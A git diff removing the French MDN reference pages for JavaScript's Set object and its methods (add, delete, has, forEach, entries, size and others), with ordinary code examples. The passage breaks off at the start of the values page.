diff --git a/files/fr/web/javascript/reference/objets_globaux/set/@@iterator/index.html b/files/fr/web/javascript/reference/objets_globaux/set/@@iterator/index.html deleted file mode 100644 index de86a491fa..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/set/@@iterator/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: 'Set.prototype[@@iterator]()' -slug: Web/JavaScript/Reference/Objets_globaux/Set/@@iterator -tags: - - ECMAScript 2015 - - Iterator - - JavaScript - - Méthode - - Prototype - - Reference - - set -translation_of: Web/JavaScript/Reference/Global_Objects/Set/@@iterator ---- -
{{JSRef}}
- -

La valeur initiale de la propriété @@iterator est le même objet fonction que la valeur initiale de la propriété {{jsxref("Set.prototype.values()", "Set.prototype.values")}}.

- -
{{EmbedInteractiveExample("pages/js/set-prototype-@@iterator.html")}}
- - - -

Syntaxe

- -
monSet[Symbol.iterator]
- -

Valeur de retour

- -

La fonction associée au symbole @@iterator de l'objet. Par défaut, c'est la fonction {{jsxref("Set.prototype.values()","values()")}}.

- -

Exemples

- -

Utiliser [@@iterator]()

- -
const monSet = new Set();
-monSet.add("0");
-monSet.add(1);
-monSet.add({});
-
-const setIter = monSet[Symbol.iterator]();
-
-console.log(setIter.next().value); // "0"
-console.log(setIter.next().value); // 1
-console.log(setIter.next().value); // {}
-
- -

Utiliser [@@iterator]() avec une boucle for..of

- -
const monSet= new Set();
-monSet.add("0");
-monSet.add(1);
-monSet.add({});
-
-for (const v of monSet) {
-  console.log(v);
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-set.prototype-@@iterator', 'Set.prototype[@@iterator]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-set.prototype-@@iterator', 'Set.prototype[@@iterator]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Set.@@iterator")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Set.prototype.entries()")}}
    • -
  • {{jsxref("Set.prototype.values","Set.prototype.keys()")}}
    • -
  • {{jsxref("Set.prototype.values()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/@@species/index.html b/files/fr/web/javascript/reference/objets_globaux/set/@@species/index.html deleted file mode 100644 index dbf3152c4d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/set/@@species/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: 'get Set[@@species]' -slug: Web/JavaScript/Reference/Objets_globaux/Set/@@species -tags: - - ECMAScript 2015 - - JavaScript - - Propriété - - Reference - - set -translation_of: Web/JavaScript/Reference/Global_Objects/Set/@@species ---- -
{{JSRef}}
- -

Set[@@species] renvoie le constructeur Set.

- -

Syntaxe

- -
Set[Symbol.species]
-
- -

Description

- -

L'accesseur species renvoie le constructeur par défaut pour les objets Set. Les constructeurs pour les classes filles peuvent surcharger cette propriété afin de modifier le constructeur utilisé lors de l'affectation.

- -

Exemples

- -

La propriété species renvoie la fonction utilisée comme constructeur par défaut, dans le cas des objets Set, c'est le constructeur Set :

- -
Set[Symbol.species]; // function Set()
- -

Pour les objets dérivés (par exemple une classe MonSet que vous auriez construite), la propriété species pour MonSet sera le constructeur MonSet. Cependant, si vous souhaitez surcharger ce comportement afin de renvoyer le constructeur Set dans les méthodes des classes dérivées, vous pourrez utiliser :

- -
class MonSet extends Set
-  // On surcharge la propriété species de MonSet
-  // avec le constructeur Set de la classe parente
-  static get [Symbol.species()]() { return Set;}
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-get-set-@@species', 'get Set [ @@species ]')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-set-@@species', 'get Set [ @@species ]')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Set.@@species")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Set")}}
    • -
  • {{jsxref("Symbol.species")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/add/index.html b/files/fr/web/javascript/reference/objets_globaux/set/add/index.html deleted file mode 100644 index 2ccda95513..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/set/add/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Set.prototype.add() -slug: Web/JavaScript/Reference/Objets_globaux/Set/add -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - set -translation_of: Web/JavaScript/Reference/Global_Objects/Set/add ---- -
{{JSRef}}
- -

La méthode add() permet d'ajouter un nouvel élément ayant une valeur donnée à un ensemble Set. Cette valeur sera ajoutée à la fin de l'objet Set.

- -
{{EmbedInteractiveExample("pages/js/set-prototype-add.html")}}
- - - -

Syntaxe

- -
monSet.add(valeur);
- -

Paramètres

- -
-
valeur
-
Ce paramètre est obligatoire. La valeur de l'élément qu'on souhaite ajouter à l'objet Set.
-
- -

Valeur de retour

- -

L'objet Set (ce qui permet de chaîner une suite d'instructions utilisant cette méthode).

- -

Exemples

- -
var monSet = new Set();
-
-monSet.add(1);
-monSet.add(5).add("du texte"); // ajouts en chaîne
-
-console.log(monSet);
-// Set [1, 5, "du texte"]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-set.prototype.add', 'Set.prototype.add')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-set.prototype.add', 'Set.prototype.add')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Set.add")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Set")}}
    • -
  • {{jsxref("Set.prototype.delete()")}}
    • -
  • {{jsxref("Set.prototype.has()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/clear/index.html b/files/fr/web/javascript/reference/objets_globaux/set/clear/index.html deleted file mode 100644 index 1c6beb30c4..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/set/clear/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Set.prototype.clear() -slug: Web/JavaScript/Reference/Objets_globaux/Set/clear -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - set -translation_of: Web/JavaScript/Reference/Global_Objects/Set/clear ---- -
{{JSRef}}
- -

La méthode clear() permet de retirer tous les éléments d'un ensemble Set.

- -
{{EmbedInteractiveExample("pages/js/set-prototype-clear.html")}}
- - - -

Syntaxe

- -
monSet.clear();
- -

Valeur de retour

- -

{{jsxref("undefined")}}.

- -

Exemples

- -
var monSet = new Set();
-monSet.add(1);
-monSet.add("toto");
-
-monSet.size;        // 2
-monSet.has("toto"); // true
-
-monSet.clear();
-
-monSet.size;       // 0
-monSet.has("truc")  // false
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-set.prototype.clear', 'Set.prototype.clear')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-set.prototype.clear', 'Set.prototype.clear')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Set.clear")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Set")}}
    • -
  • {{jsxref("Set.prototype.delete()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/delete/index.html b/files/fr/web/javascript/reference/objets_globaux/set/delete/index.html deleted file mode 100644 index eff24aa6d9..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/set/delete/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Set.prototype.delete() -slug: Web/JavaScript/Reference/Objets_globaux/Set/delete -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - set -translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete ---- -
{{JSRef}}
- -

La méthode delete() permet de retirer un élément donné d'un objet Set.

- -
{{EmbedInteractiveExample("pages/js/set-prototype-delete.html")}}
- - - -

Syntaxe

- -
monSet.delete(valeur);
- -

Paramètres

- -
-
valeur
-
Ce paramètre est obligatoire. Il représente la valeur de l'élément qu'on souhaite retirer de l'objet Set.
-
- -

Valeur de retour

- -

true si un élément de l'objet Set a été retiré lors de l'opération, false sinon.

- -

Exemples

- -

Utiliser la méthode delete()

- -
var monSet = new Set();
-monSet.add("toto");
-
-monSet.delete("truc"); // Renvoie false. Aucun élément "truc" n'a pu être supprimé.
-monSet.delete("toto"); // Renvoie true.  L'élément a pu être supprimé.
-
-monSet.has("toto");    // Renvoie false. L'élément "toto" ne fait plus partie de l'ensemble.
-
- -

Utiliser delete() avec forEach()

- -
var objetSet = new Set();
-objetSet.add({x: 10, y: 20}); // On ajoute un nouvel objet dans l'ensemble
-objetSet.add({x: 20, y: 30}); // On ajoute un nouvel objet dans l'ensemble
-
-// On supprime les points de l'ensemble pour lesquels
-// x est supérieur à 10
-objetSet.forEach(function(point){
-  if(point.x > 10){
-    objetSet.delete(point);
-  }
-});
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-set.prototype.delete', 'Set.prototype.delete')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-set.prototype.delete', 'Set.prototype.delete')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Set.delete")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Set")}}
    • -
  • {{jsxref("Set.prototype.clear()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/entries/index.html b/files/fr/web/javascript/reference/objets_globaux/set/entries/index.html deleted file mode 100644 index 0e791e4c8d..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/set/entries/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Set.prototype.entries() -slug: Web/JavaScript/Reference/Objets_globaux/Set/entries -tags: - - ECMAScript 2015 - - Iterator - - JavaScript - - Méthode - - Prototype - - Reference - - set -translation_of: Web/JavaScript/Reference/Global_Objects/Set/entries ---- -
{{JSRef}}
- -

La méthode entries() renvoie un nouvel objet Iterator qui contient un tableau composé de [valeur, valeur] pour chaque élément de l'objet Set, dans leur ordre d'insertion. En raison de leur structure, les objets Set n'ont pas de clé (key), à la différence des objets Map. Pour garder une structure et une API sembables à celle d'un objet Map, chaque entrée (entry) aura la même valeur pour la clé (key) et pour la valeur (value), c'est pourquoi un tableau de [valeur, valeur] est renvoyé.

- -
{{EmbedInteractiveExample("pages/js/set-prototype-entries.html")}}
- - - -

Syntaxe

- -
monSet.entries()
- -

Valeur de retour

- -

Un nouvel objet Iterator qui contient un tableau de tuples [valeur, valeur] pour chaque élément de l'ensemble, dans leur ordre d'insertion.

- -

Exemples

- -
var monSet = new Set();
-monSet.add("totobidule");
-monSet.add(1);
-monSet.add("machin");
-
-var setIter = monSet.entries();
-
-console.log(setIter.next().value); // ["totobidule", "totobidule"]
-console.log(setIter.next().value); // [1, 1]
-console.log(setIter.next().value); // ["machin", "machin"]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-set.prototype.entries', 'Set.prototype.entries')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-set.prototype.entries', 'Set.prototype.entries')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Set.entries")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Set.prototype.values","Set.prototype.keys()")}}
    • -
  • {{jsxref("Set.prototype.values()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/foreach/index.html b/files/fr/web/javascript/reference/objets_globaux/set/foreach/index.html deleted file mode 100644 index e3b14c4eb8..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/set/foreach/index.html +++ /dev/null @@ -1,115 +0,0 @@ ---- -title: Set.prototype.forEach() -slug: Web/JavaScript/Reference/Objets_globaux/Set/forEach -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - set -translation_of: Web/JavaScript/Reference/Global_Objects/Set/forEach ---- -
{{JSRef}}
- -

La méthode forEach() permet d'exécuter une fonction donnée, une fois pour chaque valeur de l'ensemble Set. L'ordre appliqué est celui dans lequel les valeurs ont été ajoutées à l'ensemble.

- -
{{EmbedInteractiveExample("pages/js/set-prototype-foreach.html")}}
- - - -

Syntaxe

- -
monSet.forEach(callback[, thisArg])
- -

Valeur de retour

- -

{{jsxref("undefined")}}.

- -

Paramètres

- -
-
callback
-
La fonction qu'on souhaite exécuter pour chaque élément et qui sera appelée avec trois arguments :
-
-
-
valeurCourante, cléCourante
-
L'élément courant appartenant à l'ensemble Set. Un ensemble n'ayant pas de clé, c'est la même valeur qui est passée pour deux arguments de la fonction de rappel.
-
set
-
L'objet Set courant (celui sur lequel forEach() a été appelé).
-
-
-
thisArg
-
Paramètre optionnel. La valeur à utiliser comme this lors de l'exécution de callback.
-
- -

Description

- -

La méthode forEach() exécute la fonction callback fournie pour chaque valeur contenue au sein de l'objet Set. Elle n'est pas appelée pour les valeurs qui ont été supprimées. Cependant, elle est exécutée si jamais la valeur vaut undefined.

- -

callback est appelé avec trois arguments :

- -
    -
  • la valeur de l'élément
    • -
  • la clé de l'élément
    • -
  • l'objet Set qui est parcouru
    • -
- -

Les objets Set n'ont pas de clé (key). Cependant les deux premiers arguments correspondent à la valeur contenue dans l'objet {{jsxref("Set")}}. Cela permet d'utiliser les fonctions callback de façon cohérente avec les méthodes forEach() de {{jsxref("Map.foreach", "Map")}} et {{jsxref("Array.forEach","Array")}}.

- -

Si un paramètre thisArg est fourni, il sera passé à la fonction callback lors de l'appel comme valeur this. Par défaut, la valeur {{jsxref("undefined")}} sera passée comme argument this. La valeur this effectivement reçue par la fonction callback est déterminée selon les règles usuelles de détermination de this par une fonction.

- -

Chacune des valeurs sera traitée une fois sauf si celle-ci a été supprimée puis réajoutée avant la fin de forEach. callback n'est pas appelé pour les valeurs qui sont supprimés avant le passage de la fonction. Les valeurs qui sont ajoutées avant que forEach ait parcouru l'ensemble seront traitées

- -

forEach exécute la fonction callback une fois pour chaque élément de l'objet Set. Cette méthode ne renvoie pas de valeur.

- -

Exemples

- -

Le code qui suit permet d'enregistrer une ligne pour chaque élément contenu dans l'objet Set :

- -
function logSetElements(valeur1, valeur2, set) {
-    console.log("s[" + valeur1 + "] = " + valeur2);
-}
-
-new Set(["toto", "truc", undefined]).forEach(logSetElements);
-
-// affichera :
-// "s[toto] = toto"
-// "s[truc] = truc"
-// "s[undefined] = undefined"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-set.prototype.foreach', 'Set.prototype.forEach')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-set.prototype.foreach', 'Set.prototype.forEach')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Set.forEach")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.forEach()")}}
    • -
  • {{jsxref("Map.prototype.forEach()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/has/index.html b/files/fr/web/javascript/reference/objets_globaux/set/has/index.html deleted file mode 100644 index 08f9fcb55f..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/set/has/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Set.prototype.has() -slug: Web/JavaScript/Reference/Objets_globaux/Set/has -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - set -translation_of: Web/JavaScript/Reference/Global_Objects/Set/has ---- -
{{JSRef}}
- -

La méthode has() renvoie un booléen qui indique s'il existe un élément de l'ensemble Set avec une certaine valeur.

- -
{{EmbedInteractiveExample("pages/js/set-prototype-has.html")}}
- - - -

Syntaxe

- -
monSet.has(valeur);
- -

Paramètres

- -
-
valeur
-
Ce paramètre est obligatoire. C'est la valeur dont on souhaite savoir si elle est présente ou non dans l'objet Set.
-
- -

Valeur de retour

- -

Un booléen : true s'il existe un élément avec la valeur donnée au sein du Set, false sinon.

- -
-

Note : L'existence d'un élément avec la valeur testée est vérifiée avec l'algorithme d'égalité des valeurs nulles (sameValueZero).

-
- -

Exemples

- -
var monSet = new Set();
-monSet.add("toto");
-
-monSet.has("toto");  // renvoie true
-monSet.has("truc");  // renvoie false
-
-var set1 = new Set();
-var obj1 = {'cle1': 1};
-set1.add(obj1);
-
-set1.has(obj1);        // renvoie true
-set1.has({'cle1': 1}); // renvoie false car ce sont deux objets distincts
-set1.add({'cle1': 1}); // set1 contient désormais 2 éléments
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-set.prototype.has', 'Set.prototype.has')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-set.prototype.has', 'Set.prototype.has')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Set.has")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Set")}}
    • -
  • {{jsxref("Set.prototype.add()")}}
    • -
  • {{jsxref("Set.prototype.delete()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/index.html b/files/fr/web/javascript/reference/objets_globaux/set/index.html deleted file mode 100644 index 9b44936cbc..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/set/index.html +++ /dev/null @@ -1,249 +0,0 @@ ---- -title: Set -slug: Web/JavaScript/Reference/Objets_globaux/Set -tags: - - ECMAScript 2015 - - JavaScript - - Reference - - set -translation_of: Web/JavaScript/Reference/Global_Objects/Set ---- -
{{JSRef}}
- -

L'objet Set (Ensemble en français) permet de stocker des valeurs uniques, de n'importe quel type, que ce soit des valeurs d'un {{Glossary("Primitive", "type primitif")}} ou des objets.

- -
{{EmbedInteractiveExample("pages/js/set-prototype-constructor.html")}}
- - - -

Syntaxe

- -
 new Set([itérable]);
- -

Paramètres

- -
-
itérable
-
Paramètre optionnel. Si un objet itérable est donné comme argument, l'ensemble de ses éléments sera ajouté au nouvel objet Set. Si {{jsxref("null")}} est fourni comme argument ou qu'aucun argument n'est fourni, il sera traité comme {{jsxref("undefined")}}.
-
- -

Valeur de retour

- -

Un nouvel objet Set.

- -

Description

- -

Les objets Set sont des ensembles de valeurs. Il est possible d'itérer sur les éléments contenus dans l'objet Set dans leur ordre d'insertion. Une valeur donnée ne peut apparaître qu'une seule fois par Set.

- -

Égalité des valeurs

- -

Chaque valeur d'un Set doit être unique, il faut donc tester l'égalité des valeurs contenues. Cette égalité n'est pas la même que celle de l'opérateur ===. Notamment, pour les objets Set, +0 (qui, selon l'égalité stricte, est égal à -0) et -0 sont des valeurs différentes. Cela a toutefois été changé avec la dernière version d'ECMAScript 2015 (ES6). Voir le tableau de compatibilité ci-après quant à la prise en charge de l'égalité des clés pour 0 et -0.

- -

{{jsxref("NaN")}} and {{jsxref("undefined")}} peuvent être enregistrés dans un objet Set. NaN est considéré comme NaN (bien que NaN !== NaN).

- -

Propriétés

- -
-
Set.length
-
La valeur de la propriété length est 0. -
Note : Pour compter le nombre d'éléments d'un objet Set, on utilisera {{jsxref("Set.prototype.size")}}.
-
-
{{jsxref("Set.@@species", "get Set[@@species]")}}
-
Le constructeur utilisé pour créer des objets dérivés.
-
{{jsxref("Set.prototype")}}
-
Représente le prototype du constructeur Set. Cela permet d'ajouter des propriétés à tous les objets Set.
-
- -

Instances de Set

- -

Toutes les instances de Set héritent de {{jsxref("Set.prototype")}}.

- -

Propriétés

- -

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Set/prototype','Propriétés')}}

- -

Méthodes

- -

{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Set/prototype','Méthodes')}}

- -

Exemples

- -

Utiliser l'objet Set

- -
var monSet = new Set();
-
-monSet.add(1);         // { 1 }
-monSet.add(5);         // { 1, 5 }
-monSet.add("du texte");// { 1, 5, "du texte" }
-
-monSet.has(1); // true
-monSet.has(3); // false, 3 n'a pas été ajouté à l'ensemble
-monSet.has(5);              // true
-monSet.has(Math.sqrt(25));  // true
-monSet.has("Du Texte".toLowerCase()); // true
-
-monSet.size; // 3
-
-monSet.delete(5); // retire 5 du set
-monSet.has(5);    // false, 5 a été retiré de l'ensemble
-
-monSet.size; // 2, on a retiré une valeur de l'ensemble
-console.log(monSet); // Set [ 1, "du texte" ]
-
- -

Itérer sur des ensembles (Set)

- -
// On itère sur les différents éléments de l'ensemble
-// ici on affiche : 1, "du texte"
-for (let item of monSet) console.log(item);
-
-// ici on affiche les clés de l'ensemble : 1, "du texte"
-for (let item of monSet.keys()) console.log(item);
-
-// ici on affiche les valeurs de l'ensemble : 1, "du texte"
-for (let item of monSet.values()) console.log(item);
-
-// ici on affiche les clés de l'ensemble : 1, "du texte"
-//(ici, les clés et les valeurs sont les mêmes)
-for (let [clé, valeur] of monSet.entries()) console.log(clé);
-
-// Une méthode de conversion avec Array.from
-var monTableau = Array.from(monSet);    // [1, "du texte"]
-
-// Cela fonctionnera également dans un document HTML
-monSet.add(document.body);
-monSet.has(document.querySelector("body")); // true
-
-// convertir un tableau (Array) en ensemble (Set) et vice versa
-monSet2 = new Set([1,2,3,4]);
-monSet2.size; // 4
-[...monSet2]; // [1,2,3,4]
-
-// L'intersection peut être calculée avec
-var intersection = new Set([...set1].filter(x => set2.has(x)));
-
-// La différence pourra être simulée avec
-var différence = new Set([...set1].filter(x => !set2.has(x)));
-
-// On peut itérer sur les entrées d'un ensemble avec forEach
-mySet.forEach(function(value) {
-  console.log(value);
-});
-
-// 1
-// 2
-// 3
-// 4
- -

Implémenter des opérations ensemblistes

- -
function isSuperset(set, subset) {
-  for (var elem of subset) {
-    if (!set.has(elem)) {
-      return false;
-    }
-  }
-  return true;
-}
-
-function union(setA, setB) {
-  var union = new Set(setA);
-  for (var elem of setB) {
-    union.add(elem);
-  }
-  return union;
-}
-
-function intersection(setA, setB) {
-  var intersection = new Set();
-  for (var elem of setB) {
-    if (setA.has(elem)) {
-      intersection.add(elem);
-    }
-  }
-  return intersection;
-}
-
-function difference (setA, setB) {
-  var difference = new Set(setA);
-  for (var elem of setB) {
-    difference.delete(elem);
-  }
-  return difference;
-}
-
-// Exemples
-var setA = new Set([1,2,3,4]),
-    setB = new Set([2,3]),
-    setC = new Set([3,4,5,6]);
-
-isSuperset(setA, setB);   // => true
-union(setA, setC);        // => Set [1, 2, 3, 4, 5, 6]
-intersection(setA, setC); // => Set [3, 4]
-difference(setA, setC);   // => Set [1, 2]
-
- -

Les relations avec les objets Array

- -
var monTableau = ["valeur1", "valeur2", "valeur3"];
-
-// On peut utiliser le constructeur Set pour transformer un Array en Set
-var monSet = new Set(monTableau);
-
-monSet.has("valeur1"); // renvoie true
-
-// Et utiliser l'opérateur de décomposition pour transformer un Set en Array.
-console.log([...monSet]); // affichera la même chose que monTableau
- -

Les relations avec les objets String

- -
var maChaine = "CouCou";
-
-var monEnsemble = new Set(maChaine);
-// Set {"C","o","u" }
-monEnsemble.size; // 3
-
- -

Dédoublonner un tableau

- -
const nombres = [2,3,4,4,2,2,2,4,4,5,5,6,6,7,5,32,3,4,5];
-console.log([...new Set(nombres)]);
-// affichera [2, 3, 4, 5, 6, 7, 32]
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-set-objects', 'Set')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-set-objects', 'Set')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Set")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Map")}}
    • -
  • {{jsxref("WeakMap")}}
    • -
  • {{jsxref("WeakSet")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/set/prototype/index.html deleted file mode 100644 index 485be156ee..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/set/prototype/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Set.prototype -slug: Web/JavaScript/Reference/Objets_globaux/Set/prototype -tags: - - ECMAScript 2015 - - JavaScript - - Propriété - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Set -translation_of_original: Web/JavaScript/Reference/Global_Objects/Set/prototype ---- -
{{JSRef}}
- -

La propriété Set.prototype représente le prototype pour le constructeur {{jsxref("Set")}}.

- -
{{js_property_attributes(0,0,0)}}
- -

Description

- -

Les instances de {{jsxref("Set")}} héritent de {{jsxref("Set.prototype")}}. Le prototype peut être utilisé afin d'ajouter des propriétés (valeurs ou méthodes) à toutes les instances de Set.

- -

Propriétés

- -
-
Set.prototype.constructor
-
Renvoie la fonction qui crée le prototype d'une instance. Par défaut, ce sera la fonction {{jsxref("Set")}}.
-
{{jsxref("Set.prototype.size")}}
-
Renvoie le nombre de valeurs contenues dans l'objet Set.
-
- -

Méthodes

- -
-
{{jsxref("Set.add", "Set.prototype.add(valeur)")}}
-
Ajoute un nouvel élément à l'objet Set avec la valeur donnée. La valeur de retour est l'objet Set.
-
{{jsxref("Set.prototype.clear()")}}
-
Retire tous les éléments de l'objet Set.
-
{{jsxref("Set.delete", "Set.prototype.delete(valeur)")}}
-
Retire l'élément associé à la valeur et renvoie la valeur que Set.prototype.has(valeur) aurait renvoyé. Set.prototype.has(valeur) renverra false après la suppression.
-
{{jsxref("Set.prototype.entries()")}}
-
Renvoie un nouvel objet Iterator qui contient un tableau de [valeur, valeur] pour chaque élément de l'objet Set, dans l'ordre dans lequel les valeurs ont été insérées. On aura donc une structure semblable à un objet Map. Ici, chaque entrée aura la même valeur pour la clé et la valeur.
-
{{jsxref("Set.forEach", "Set.prototype.forEach(fnCallback[, thisArg])")}}
-
Appelle la fonction fnCallback pour chaque valeur présente dans l'objet Set, dans l'ordre dans lequel elles ont été insérées. Si un paramètre thisArg est fourni à forEach, il sera utilisé comme valeur de this pour chaque appel de la fonction de callback.
-
{{jsxref("Set.has", "Set.prototype.has(valeur)")}}
-
Renvoie un booléen qui indique si un des éléments de l'ensemble possède cette valeur.
-
{{jsxref("Set.prototype.values()","Set.prototype.keys()")}}
-
Cette fonction correspond à la fonction values() et renvoie un nouvel objet Iterator qui contient les valeurs correspondant à chaque élément de Set dans l'ordre dans lequel ils ont été insérés.
-
{{jsxref("Set.prototype.values()")}}
-
Renvoie un nouvel objet Iterator qui contient les valeurs pour chacun des éléments de l'objet Set, dans l'ordre dans lequel ils ont été insérés.
-
{{jsxref("Set.prototype.@@iterator()","Set.prototype[@@iterator]()")}}
-
Renvoie un nouvel objet Iterator qui contient les valeurs pour chaque élément de l'objet Set dans leur ordre d'insertion.
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-set.prototype', 'Set.prototype')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-set.prototype', 'Set.prototype')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Set.prototype")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Map.prototype")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/size/index.html b/files/fr/web/javascript/reference/objets_globaux/set/size/index.html deleted file mode 100644 index 83a5b8c9b7..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/set/size/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Set.prototype.size -slug: Web/JavaScript/Reference/Objets_globaux/Set/size -tags: - - ECMAScript 2015 - - JavaScript - - Propriété - - Prototype - - Reference - - set -translation_of: Web/JavaScript/Reference/Global_Objects/Set/size ---- -
{{JSRef}}
- -

L'accesseur size est une propriété qui renvoie le nombre d'éléments contenus dans un objet {{jsxref("Set")}}. Un objet Set correspondant à un ensemble, chaque élément qu'il contient y est unique.

- -
{{EmbedInteractiveExample("pages/js/set-prototype-size.html")}}
- - - -

Description

- -

La valeur de size est un entier représentant le nombre d'éléments contenus dans l'ensemble. Le mutateur associée pour size vaut {{jsxref("undefined")}}. Cette propriété ne peut pas être changée directement.

- -

Exemples

- -
var monSet = new Set();
-monSet.add(1);
-monSet.add(5);
-monSet.add("du texte")
-
-monSet.size; // 3
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-get-set.prototype.size', 'Set.prototype.size')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-get-set.prototype.size', 'Set.prototype.size')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Set.size")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Set")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/set/values/index.html b/files/fr/web/javascript/reference/objets_globaux/set/values/index.html deleted file mode 100644 index 2e1ab4b178..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/set/values/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Set.prototype.values() -slug: Web/JavaScript/Reference/Objets_globaux/Set/values -tags: - - ECMAScript 2015 - - Iterator - - JavaScript - - Méthode - - Prototype - - Reference - - set -translation_of: Web/JavaScript/Reference/Global_Objects/Set/values ---- -
{{JSRef}}
- -

